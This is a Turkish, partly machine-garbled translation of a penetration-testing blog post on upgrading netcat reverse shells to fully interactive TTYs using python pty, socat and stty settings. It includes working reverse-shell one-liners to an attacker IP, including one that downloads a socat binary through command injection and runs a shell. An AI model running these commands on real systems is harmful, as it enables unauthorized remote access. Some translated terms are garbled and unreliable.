Basit Kabukları Tam Etkileşimli TTY’lere Yükseltme


Her pentester, netcat ile ters bir kabuk yakaladıklarında ve o çok tatmin edici ayrıntılı netcat mesajının ardından gelen çıktıyı gördüklerinde bu inanılmaz duyguyu bilir. id.

Ve eğer diğer pentester’lar benim gibiyse, kabukları kaybolduğunda o korkunç hissi de biliyorlar çünkü kötü bir komut çalıştırıyorlar ve kilitleniyorlar ve yanlışlıkla “Ctrl-C”ye basıp onu durduracağını düşünüyorlar ama bunun yerine tüm bağlantıyı kesiyorlar.

Hata!

Bu “aptal” kabukların SIGINT’i doğru şekilde işlememesinin yanı sıra başka dezavantajları da vardır:

  • gibi bazı komutlar su Ve ssh çalıştırmak için uygun bir terminale ihtiyaç var
  • STDERR genellikle görüntülenmiyor
  • Gibi metin editörleri düzgün şekilde kullanılamıyor vim
  • Tamamlanmış sekme yok
  • Yukarı ok geçmişi yok
  • İş kontrolü yok
  • Vesaire…

Uzun lafın kısası, bu mermileri yakalamak harika olsa da ben tamamen etkileşimli bir TTY’de çalışmayı tercih ederim.

Bu kabukları “yükseltmek” için çok yararlı ipuçları ve teknikler içeren bazı iyi kaynaklarla karşılaştım ve derleyip bir gönderide paylaşmak istedim. Pentest Monkey’in yanı sıra, Phineas Fisher’ın yayınladığı videolarında ve yasa dışı faaliyetlerine ilişkin yazılarında da teknikleri öğrendim:

Referans olması açısından, izlenecek tüm ekran görüntülerinde ve komutlarda, savunmasız bir web sunucusuna (“VICTIM”) komutlar enjekte ediyorum ve Kali VM’mden (“KALI”) kabuklar yakalıyorum:

  • KURBAN IP’Sİ: 10.0.3.7
  • IP SÜRELERİ: 10.0.3.4

Herkes netcat’i ters kabuk elde etmek için kullanmanın geleneksel yoluna oldukça aşinadır:

1
nc -e /bin/sh 10.0.3.4 4444

ve şununla yakalamak:

Sorun her sunucuda netcat’in yüklü olmaması ve her netcat sürümünün yüklü olmamasıdır. -e seçenek.

Pentest Monkey’in birkaç farklı yöntemi özetleyen harika bir hile sayfası var, ancak benim favori tekniğim Metasploit’i kullanmak. msfvenom benim için tek satırlık komutlar oluşturmak için.

Metasploit’in “cmd/unix” altında tek satırlık bağlama veya ters kabuklar oluşturmak için kullanılabilecek çeşitli yükleri vardır:

msfvenom verileri

Bu yüklerden herhangi biri kullanılabilir msfvenom gereken ham komutu söylemek için (LHOST, LPORT veya RPORT’u belirterek). Örneğin, burada şunu gerektirmeyen bir netcat komutu var: -e bayrak:

Netcat kabuğu

Ve işte her ihtimale karşı bir Perl oneliner netcat yüklü değil:

Perl kabuğu

Bunların tümü netcat kullanılarak ve belirtilen bağlantı noktası (4444) dinlenerek yakalanabilir.

Aptal bir kabuk yakaladıktan sonra uzun süre başvurduğum komutlardan biri, bir miktar kabuk oluşturmak için Python’u kullanmaktı. Pty modülü, aşağıdaki gibi komutları kandırabilecek bir psuedo terminali oluşturmanıza olanak tanır su uygun bir terminalde yürütüldüklerini düşünmeye başlarlar. Aptal bir kabuğu yükseltmek için aşağıdaki komutu çalıştırmanız yeterlidir:

1
python -c 'import pty; pty.spawn("/bin/bash")'

Bu koşmana izin verecek su örneğin (size daha hoş bir bilgi vermenin yanı sıra)

PythonPTY

Ne yazık ki bu, yukarıda özetlenen diğer sorunlardan bazılarını ortadan kaldırmaz. SIGINT (Ctrl-C) Netcat’i kapatmaya devam edecek ve sekme tamamlama veya geçmiş yok. Ancak bu bana birçok kez yardımcı olan hızlı ve kirli bir geçici çözüm.

socat, steroidlerdeki netcat gibidir ve çok güçlü bir ağ oluşturma İsviçre çakısıdır. Socat, TCP bağlantıları üzerinden tam TTY’leri iletmek için kullanılabilir.

Eğer socat Kurban sunucusuna kuruluysa, onunla bir ters kabuk başlatabilirsiniz. Sen mutlak ile bağlantıyı yakalamak socat Ayrıca tüm işlevleri elde etmek için.

Aşağıdaki komutlar tamamen etkileşimli bir TTY ters kabuğu sağlayacaktır:

Kali’de (dinle):

1
socat file:`tty`,raw,echo=0 tcp-listen:4444

Kurban Hakkında (lansman):

1
socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:10.0.3.4:4444

Socat kurulu değilse şansınız kalmaz. Bu harika Github deposundan indirilebilecek bağımsız ikili dosyalar var:

https://github.com/andrew-d/static-binaries

Komut yerleştirme güvenlik açığıyla doğru mimariyi indirmek mümkündür socat İkili dosyayı yazılabilir bir dizine dönüştürün, chmod yapın, ardından bir satırda ters kabuk çalıştırın:

1
wget -q https://github.com/andrew-d/static-binaries/raw/master/binaries/linux/x86_64/socat -O /tmp/socat; chmod +x /tmp/socat; /tmp/socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:10.0.3.4:4444

Kali’de tamamen etkileşimli bir TTY oturumu izleyeceksiniz. Sekme tamamlamayı, SIGINT/SIGSTP desteğini, vim’i, yukarı ok geçmişini vb. destekler. Tam bir terminaldir. Oldukça tatlı.

Şok tty

Phineas Fisher’ın hackleme videosunda bu tekniği kullanmasını izledim ve sanki sihir gibi geliyor. Temel olarak, bazı ayarları yaparak tam bir TTY’ye yükseltmek için aptal bir netcat kabuğu kullanmak mümkündür. stty Kali terminalinizdeki seçenekler.

İlk olarak, Yöntem 1’deki tekniğin aynısını izleyin ve bir PTY oluşturmak için Python’u kullanın. Bash PTY’de çalıştığında, kabuğun arka planını Ctrl-Z

Arka plan kabuğu

Kabuk arka plandayken, şimdi mevcut terminali ve STTY bilgisini inceleyin, böylece bağlı kabuğun onunla eşleşmesini sağlayabiliriz:

Dönem ve STTY bilgileri

İhtiyaç duyulan bilgi TERM türüdür (“xterm-256renk”) ve geçerli TTY’nin boyutu (“38. sıra; sütunlar 116”)

Kabuk hala arka plandayken, şimdi geçerli STTY’yi raw yazacak şekilde ayarlayın ve ona aşağıdaki komutla giriş karakterlerini yankılamasını söyleyin:

Ham bir stty ile giriş/çıkış tuhaf görünecek ve sonraki komutları görmeyeceksiniz, ancak siz yazarken bunlar işleniyor.

Sonraki kabuk ile ön planda fg. Ters kabuğu yeniden açacak ancak biçimlendirme kapalı olacak. Son olarak terminali yeniden başlatın. reset.

Ön plan ve sıfırlama

Not: Yazmadım nc tekrar komut verin (yukarıda görünebileceği gibi). aslında girdim fgama yankılanmadı. nc Komuta artık ön planda olan iştir. reset komut daha sonra netcat kabuğuna girildi

Sonra reset kabuk tekrar normal görünmelidir. Son adım, kabuğu, terminal tipini ve stty boyutunu mevcut Kali penceremizle eşleşecek şekilde ayarlamaktır (yukarıda toplanan bilgilerden)

1
2
3
$ export SHELL=bash
$ export TERM=xterm256-color
$ stty rows 38 columns 116

Sonuç, bir netcat bağlantısı üzerinden beklediğimiz tüm özelliklere (sekme tamamlama, geçmiş, iş kontrolü vb.) sahip, tamamen etkileşimli bir TTY’dir:

Netcat tam TTY

Olasılıklar artık sonsuzdur. Netcat kabuğu üzerinden Tmux? Neden? 😀

Netcat üzerinden Tmux

Hile sayfası komutları:

Python’u psuedo terminali için kullanma

1
python -c 'import pty; pty.spawn("/bin/bash")'

Socat’ı kullanma

1
2
3
4
5
#Listener:
socat file:`tty`,raw,echo=0 tcp-listen:4444

#Victim:
socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:10.0.3.4:4444

Stty seçeneklerini kullanma

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
# In reverse shell
$ python -c 'import pty; pty.spawn("/bin/bash")'
Ctrl-Z

# In Kali
$ stty raw -echo
$ fg

# In reverse shell
$ reset
$ export SHELL=bash
$ export TERM=xterm-256color
$ stty rows  columns 

Başka harika teknikler var mı? Yorumlarda bana bildirin veya Twitter’da bana ulaşın.

Eğlence! -ropnop




Source link